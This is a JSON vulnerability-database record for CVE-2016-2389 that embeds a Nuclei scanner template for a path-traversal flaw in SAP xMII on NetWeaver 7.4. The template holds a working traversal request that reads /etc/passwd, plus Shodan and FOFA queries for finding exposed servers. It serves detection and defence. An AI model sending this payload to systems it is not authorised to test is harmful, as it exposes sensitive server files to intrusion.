{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2016-2389/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2016-2389/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2016-2389/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2016-2389/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2016-2389/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2016-2389"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2016-2389"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2016/CVE-2016-2389.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2016-2389\n\ninfo:\n  name: SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion\n  author: daffainfo\n  severity: high\n  description: SAP xMII 15.0 for SAP NetWeaver 7.4 is susceptible to a local file inclusion vulnerability in the GetFileList function. This can allow remote attackers to read arbitrary files via a .. (dot dot) in the path parameter to /Catalog, aka SAP Security Note 2230978.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.\n  remediation: |\n    Apply the latest security patches and updates provided by SAP to mitigate the vulnerability.\n  reference:\n    - https://web.archive.org/web/20211209003818/https://erpscan.io/advisories/erpscan-16-009-sap-xmii-directory-traversal-vulnerability/\n    - http://packetstormsecurity.com/files/137046/SAP-MII-15.0-Directory-Traversal.html\n    - https://www.exploit-db.com/exploits/39837/\n    - https://nvd.nist.gov/vuln/detail/CVE-2016-2389\n    - http://seclists.org/fulldisclosure/2016/May/40\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2016-2389\n    cwe-id: CWE-22\n    epss-score: 0.4145\n    epss-percentile: 0.98681\n    cpe: cpe:2.3:a:sap:netweaver:7.40:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: sap\n    product: netweaver\n    shodan-query:\n      - http.favicon.hash:-266008933\n      - cpe:\"cpe:2.3:a:sap:netweaver\"\n    fofa-query: icon_hash=-266008933\n  tags: cve2016,cve,packetstorm,seclists,lfi,sap,edb,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd\"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402201d4ef528cd55633df9818530fd478a750006b254d3e3ccc7d5dad53f91fd522702205391d4d9ced8911d36f61b9c86f22e525c1c05d5b434dcb3edcbc429149258a7:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2016-2389"
}